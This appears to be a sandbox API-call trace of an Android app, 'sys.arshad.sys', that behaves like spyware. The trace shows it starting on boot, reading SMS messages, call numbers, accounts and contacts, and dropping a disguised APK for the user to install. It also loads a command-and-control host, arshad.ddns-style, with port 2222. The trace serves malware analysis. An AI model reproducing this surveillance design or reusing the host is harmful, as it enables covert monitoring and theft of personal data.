API: java.lang.String->equalsIgnoreCase at sys.arshad.sys.BootComplete.onReceive:6 Show source
NameTypeValue
p0java.lang.String
  • toString: android.intent.action.BOOT_COMPLETED
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: sys.arshad.sys.MainActivity->startService at sys.arshad.sys.BootComplete.onReceive:14 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=sys.arshad.sys/.AutoStartUp }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{sys.arshad.sys/sys.arshad.sys.AutoStartUp}
API: android.content.Intent->getExtras at sys.arshad.sys.IncomingSms.onReceive:1 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{format=3gpp, pdus=[Ljava.lang.Object;@bbc6b43}]
API: android.telephony.SmsManager->createFromPdu at sys.arshad.sys.IncomingSms.onReceive:19 Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@20ba45c0
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@231062f9
API: android.telephony.SmsManager->getDisplayOriginatingAddress at sys.arshad.sys.IncomingSms.onReceive:22 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 0123456789
API: android.telephony.SmsManager->getDisplayMessageBody at sys.arshad.sys.IncomingSms.onReceive:25 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: this is a text message
API: sys.arshad.sys.MainActivity->setContentView at sys.arshad.sys.MainActivity.onCreate:4 Show source
NameTypeValue
layoutResIDjava.lang.Integer
  • toString: 2130968603
API: sys.arshad.sys.MainActivity->m at sys.arshad.sys.MainActivity.onCreate:6 Show source
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.ContextWrapper->openFileOutput at sys.arshad.sys.MainActivity.a:4 Show source
NameTypeValue
p0java.io.FileOutputStream
  • toString: java.io.FileOutputStream@2d240f43
p1java.lang.String
  • toString: IM.txt
p2java.lang.Integer
  • toString: 0
API: sys.arshad.sys.MainActivity->a at sys.arshad.sys.MainActivity.onCreate:22 Show source
NameTypeValue
p0java.lang.String
  • toString: 792562219
NameTypeValue
Return Valuenull
  • toString: null
API: sys.arshad.sys.MainActivity->getApplicationContext at sys.arshad.sys.MainActivity.c:1 Show source
NameTypeValue
Return Valueandroid.app.Application
  • toString: android.app.Application@2c4131cb
API: android.content.Context->getString at sys.arshad.sys.MainActivity.c:14 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165222
NameTypeValue
Return Valuejava.lang.String
  • toString: 2222
API: android.content.Context->getString at sys.arshad.sys.MainActivity.c:25 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165220
NameTypeValue
Return Valuejava.lang.String
  • toString: arshad93.ddns.net
API: android.content.Context->getString at sys.arshad.sys.MainActivity.c:36 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165224
NameTypeValue
Return Valuejava.lang.String
  • toString: hackeer-arshad
API: sys.arshad.sys.MainActivity->startService at sys.arshad.sys.MainActivity.c:87 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=sys.arshad.sys/.AutoStartUp }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{sys.arshad.sys/sys.arshad.sys.AutoStartUp}
API: sys.arshad.sys.MainActivity->x at sys.arshad.sys.MainActivity.c:70 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: Stop
API: sys.arshad.sys.MainActivity->setContentView at sys.arshad.sys.MainActivity.onCreate:4 Show source
NameTypeValue
layoutResIDjava.lang.Integer
  • toString: 2130968603
API: sys.arshad.sys.MainActivity->openFileInput at sys.arshad.sys.MainActivity.m:3 Show source
NameTypeValue
p0java.lang.String
  • toString: IM.txt
NameTypeValue
Return Valuejava.io.FileInputStream
  • toString: java.io.FileInputStream@303bb008
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: java.lang.String-><init> at sys.arshad.sys.MainActivity.onCreate:6 Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@36dfc4b4
  • $1: 792562219
  • $2: 373932353632323139
NameTypeValue
Return Valuejava.lang.String
  • toString: 792562219
API: sys.arshad.sys.MainActivity->m at sys.arshad.sys.MainActivity.onCreate:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: nice
API: android.content.Context->getString at sys.arshad.sys.MainActivity.c:14 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165222
NameTypeValue
Return Valuejava.lang.String
  • toString: 2222
API: android.content.Context->getString at sys.arshad.sys.MainActivity.c:25 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165220
NameTypeValue
Return Valuejava.lang.String
  • toString: arshad93.ddns.net
API: android.content.Context->getString at sys.arshad.sys.MainActivity.c:36 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165224
NameTypeValue
Return Valuejava.lang.String
  • toString: hackeer-arshad
API: sys.arshad.sys.MainActivity->startService at sys.arshad.sys.MainActivity.c:87 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=sys.arshad.sys/.AutoStartUp }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{sys.arshad.sys/sys.arshad.sys.AutoStartUp}
API: sys.arshad.sys.MainActivity->x at sys.arshad.sys.MainActivity.c:70 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: Stop
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->getSystemService at sys.arshad.sys.MainActivity.G:3 Show source
NameTypeValue
namejava.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@394c19c6
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: sys.arshad.sys.MainActivity->G at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.content.Context->getString at sys.arshad.sys.MainActivity.a:2 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165219
NameTypeValue
Return Valuejava.lang.String
  • toString: -soniac_messenger_4794932.apk
API: sys.arshad.sys.MainActivity->n at sys.arshad.sys.MainActivity.a:15 Show source
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Context->getString at sys.arshad.sys.MainActivity.o:2 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165219
NameTypeValue
Return Valuejava.lang.String
  • toString: -soniac_messenger_4794932.apk
API: android.content.res.Resources->openRawResources at sys.arshad.sys.MainActivity.o:15 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131099648
NameTypeValue
Return Valueandroid.content.res.AssetManager$AssetInputStream
  • toString: android.content.res.AssetManager$AssetInputStream@30b6a569
API: java.io.File-><init> at sys.arshad.sys.MainActivity.o:24 Show source
NameTypeValue
p0java.io.File
  • toString: /storage/emulated/0
p1java.lang.String
  • toString: -soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
API: android.content.Context->getString at sys.arshad.sys.MainActivity.a:2 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165219
NameTypeValue
Return Valuejava.lang.String
  • toString: -soniac_messenger_4794932.apk
API: sys.arshad.sys.MainActivity->n at sys.arshad.sys.MainActivity.a:15 Show source
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Context->getString at sys.arshad.sys.MainActivity.o:2 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165219
NameTypeValue
Return Valuejava.lang.String
  • toString: -soniac_messenger_4794932.apk
API: android.content.res.Resources->openRawResources at sys.arshad.sys.MainActivity.o:15 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131099648
NameTypeValue
Return Valueandroid.content.res.AssetManager$AssetInputStream
  • toString: android.content.res.AssetManager$AssetInputStream@216498a1
API: java.io.File-><init> at sys.arshad.sys.MainActivity.o:24 Show source
NameTypeValue
p0java.io.File
  • toString: /storage/emulated/0
p1java.lang.String
  • toString: -soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
API: android.content.ContextWrapper->openFileOutput at sys.arshad.sys.MainActivity.o:45 Show source
NameTypeValue
p0java.io.FileOutputStream
  • toString: java.io.FileOutputStream@2bb6fb81
p1java.lang.String
  • toString: yx.txt
p2java.lang.Integer
  • toString: 0
API: android.content.Context->getString at sys.arshad.sys.MainActivity.o:61 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165221
NameTypeValue
Return Valuejava.lang.String
  • toString: application/vnd.android.package-archive
API: java.io.File-><init> at sys.arshad.sys.MainActivity.o:93 Show source
NameTypeValue
p0java.lang.String
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
API: sys.arshad.sys.MainActivity->startActivity at sys.arshad.sys.MainActivity.o:103 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { act=android.intent.action.VIEW dat=file:///storage/emulated/0/-soniac_messenger_4794932.apk typ=application/vnd.android.package-archive flg=0x24000000 }
API: android.content.ContextWrapper->openFileOutput at sys.arshad.sys.MainActivity.o:45 Show source
NameTypeValue
p0java.io.FileOutputStream
  • toString: java.io.FileOutputStream@b5c01fe
p1java.lang.String
  • toString: yx.txt
p2java.lang.Integer
  • toString: 0
API: android.content.Context->getString at sys.arshad.sys.MainActivity.o:61 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165221
NameTypeValue
Return Valuejava.lang.String
  • toString: application/vnd.android.package-archive
API: java.io.File-><init> at sys.arshad.sys.MainActivity.o:93 Show source
NameTypeValue
p0java.lang.String
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
API: sys.arshad.sys.MainActivity->startActivity at sys.arshad.sys.MainActivity.o:103 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { act=android.intent.action.VIEW dat=file:///storage/emulated/0/-soniac_messenger_4794932.apk typ=application/vnd.android.package-archive flg=0x24000000 }
API: android.content.Intent->getAction at sys.arshad.sys.PhonecallReceiver.onReceive:2 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.PHONE_STATE
API: android.content.Intent->getExtras at sys.arshad.sys.PhonecallReceiver.onReceive:24 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{incoming_number=0123456789, state=RINGING}]
API: android.os.Bundle->getString at sys.arshad.sys.PhonecallReceiver.onReceive:29 Show source
NameTypeValue
p0java.lang.String
  • toString: state
NameTypeValue
Return Valuejava.lang.String
  • toString: RINGING
API: android.content.Intent->getExtras at sys.arshad.sys.PhonecallReceiver.onReceive:32 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{incoming_number=0123456789, state=RINGING}]
API: android.os.Bundle->getString at sys.arshad.sys.PhonecallReceiver.onReceive:37 Show source
NameTypeValue
p0java.lang.String
  • toString: incoming_number
NameTypeValue
Return Valuejava.lang.String
  • toString: 0123456789
API: android.content.Intent->getAction at sys.arshad.sys.PhonecallReceiver.onReceive:2 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.NEW_OUTGOING_CALL
API: android.content.Intent->getExtras at sys.arshad.sys.PhonecallReceiver.onReceive:11 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{android.intent.extra.PHONE_NUMBER=9876543210}]
API: android.os.Bundle->getString at sys.arshad.sys.PhonecallReceiver.onReceive:16 Show source
NameTypeValue
p0java.lang.String
  • toString: android.intent.extra.PHONE_NUMBER
NameTypeValue
Return Valuejava.lang.String
  • toString: 9876543210
API: java.util.TimerTask-><init> at sys.arshad.sys.MainActivity$15.<init>:2 Show source
API: sys.arshad.sys.MainActivity->a at sys.arshad.sys.MainActivity$15.run:3 Show source
API: sys.arshad.sys.MainActivity->b at sys.arshad.sys.MainActivity$15.run:12 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$8.<init>:2 Show source
API: java.lang.StringBuffer-><init> at sys.arshad.sys.MainActivity$8.run:2 Show source
API: sys.arshad.sys.MainActivity->getApplicationContext at sys.arshad.sys.MainActivity$8.run:6 Show source
API: android.support.v4.a.a->a at sys.arshad.sys.MainActivity$8.run:11 Show source
API: sys.arshad.sys.MainActivity->getApplicationContext at sys.arshad.sys.MainActivity$8.run:17 Show source
API: android.accounts.AccountManager->get at sys.arshad.sys.MainActivity$8.run:20 Show source
API: android.accounts.AccountManager->getAccounts at sys.arshad.sys.MainActivity$8.run:23 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$8.run:31 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:35 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:40 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:45 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:50 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$8.run:53 Show source
API: java.lang.StringBuffer->append at sys.arshad.sys.MainActivity$8.run:56 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$8.run:64 Show source
API: java.lang.StringBuffer->toString at sys.arshad.sys.MainActivity$8.run:66 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:69 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:74 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$8.run:77 Show source
API: java.io.PrintStream->println at sys.arshad.sys.MainActivity$8.run:80 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$8.run:85 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:89 Show source
API: java.lang.StringBuffer->toString at sys.arshad.sys.MainActivity$8.run:92 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:95 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:100 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$8.run:107 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$8.run:110 Show source
API: sys.arshad.sys.MainActivity->e at sys.arshad.sys.MainActivity$8.run:113 Show source
API: java.lang.Thread-><init> at sys.arshad.sys.MainActivity$b.e:5 Show source
API: java.lang.Thread->start at sys.arshad.sys.MainActivity$b.e:7 Show source
API: java.lang.Thread-><init> at sys.arshad.sys.MainActivity$b.m:5 Show source
API: java.lang.Thread->start at sys.arshad.sys.MainActivity$b.m:7 Show source
API: java.lang.Thread-><init> at sys.arshad.sys.MainActivity$b.q:5 Show source
API: java.lang.Thread->start at sys.arshad.sys.MainActivity$b.q:7 Show source
API: java.lang.StringBuffer-><init> at sys.arshad.sys.MainActivity$b$1.run:8 Show source
API: android.net.Uri->parse at sys.arshad.sys.MainActivity$b$1.run:12 Show source
API: sys.arshad.sys.MainActivity->getContentResolver at sys.arshad.sys.MainActivity$b$1.run:19 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$1.run:55 Show source
API: sys.arshad.sys.MainActivity->startManagingCursor at sys.arshad.sys.MainActivity$b$1.run:62 Show source
API: android.database.Cursor->getCount at sys.arshad.sys.MainActivity$b$1.run:86 Show source
API: android.database.Cursor->moveToNext at sys.arshad.sys.MainActivity$b$1.run:90 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$1.run:98 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$1.run:101 Show source
API: android.net.Uri->encode at sys.arshad.sys.MainActivity$b$1.run:106 Show source
API: android.net.Uri->withAppendedPath at sys.arshad.sys.MainActivity$b$1.run:109 Show source
API: sys.arshad.sys.MainActivity->getContentResolver at sys.arshad.sys.MainActivity$b$1.run:116 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$1.run:123 Show source
API: android.database.Cursor->moveToFirst at sys.arshad.sys.MainActivity$b$1.run:127 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$1.run:133 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$1.run:136 Show source
API: android.database.Cursor->close at sys.arshad.sys.MainActivity$b$1.run:141 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$1.run:145 Show source
API: android.database.Cursor->getLong at sys.arshad.sys.MainActivity$b$1.run:148 Show source
API: sys.arshad.sys.MainActivity->a at sys.arshad.sys.MainActivity$b$1.run:155 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$1.run:160 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$1.run:163 Show source
API: java.lang.String->replace at sys.arshad.sys.MainActivity$b$1.run:170 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$1.run:174 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:176 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:181 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:184 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:189 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:192 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:197 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:200 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:205 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$1.run:208 Show source
API: java.lang.StringBuffer->append at sys.arshad.sys.MainActivity$b$1.run:211 Show source
API: java.lang.Exception->printStackTrace at sys.arshad.sys.MainActivity$b$1.run:216 Show source
API: android.database.Cursor->close at sys.arshad.sys.MainActivity$b$1.run:219 Show source
API: android.database.Cursor->close at sys.arshad.sys.MainActivity$b$1.run:225 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$1.run:233 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:237 Show source
API: java.lang.StringBuffer->toString at sys.arshad.sys.MainActivity$b$1.run:240 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:243 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:248 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$1.run:257 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$1.run:260 Show source
API: sys.arshad.sys.MainActivity->e at sys.arshad.sys.MainActivity$b$1.run:263 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$b$1.<init>:3 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$b$10.<init>:6 Show source
API: java.io.File-><init> at sys.arshad.sys.MainActivity$b$10.run:4 Show source
API: java.io.File->exists at sys.arshad.sys.MainActivity$b$10.run:6 Show source
API: java.io.File->mkdirs at sys.arshad.sys.MainActivity$b$10.run:10 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$10.run:14 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$10.run:18 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$10.run:23 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$10.run:26 Show source
API: java.io.FileInputStream-><init> at sys.arshad.sys.MainActivity$b$10.run:29 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$10.run:33 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$10.run:37 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$10.run:42 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$10.run:45 Show source
API: java.io.FileOutputStream-><init> at sys.arshad.sys.MainActivity$b$10.run:48 Show source
API: java.io.InputStream->read at sys.arshad.sys.MainActivity$b$10.run:54 Show source
API: java.io.OutputStream->write at sys.arshad.sys.MainActivity$b$10.run:60 Show source
API: java.io.InputStream->close at sys.arshad.sys.MainActivity$b$10.run:65 Show source
API: java.io.OutputStream->flush at sys.arshad.sys.MainActivity$b$10.run:67 Show source
API: java.io.OutputStream->close at sys.arshad.sys.MainActivity$b$10.run:69 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$10.run:76 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$10.run:80 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$10.run:85 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$10.run:88 Show source
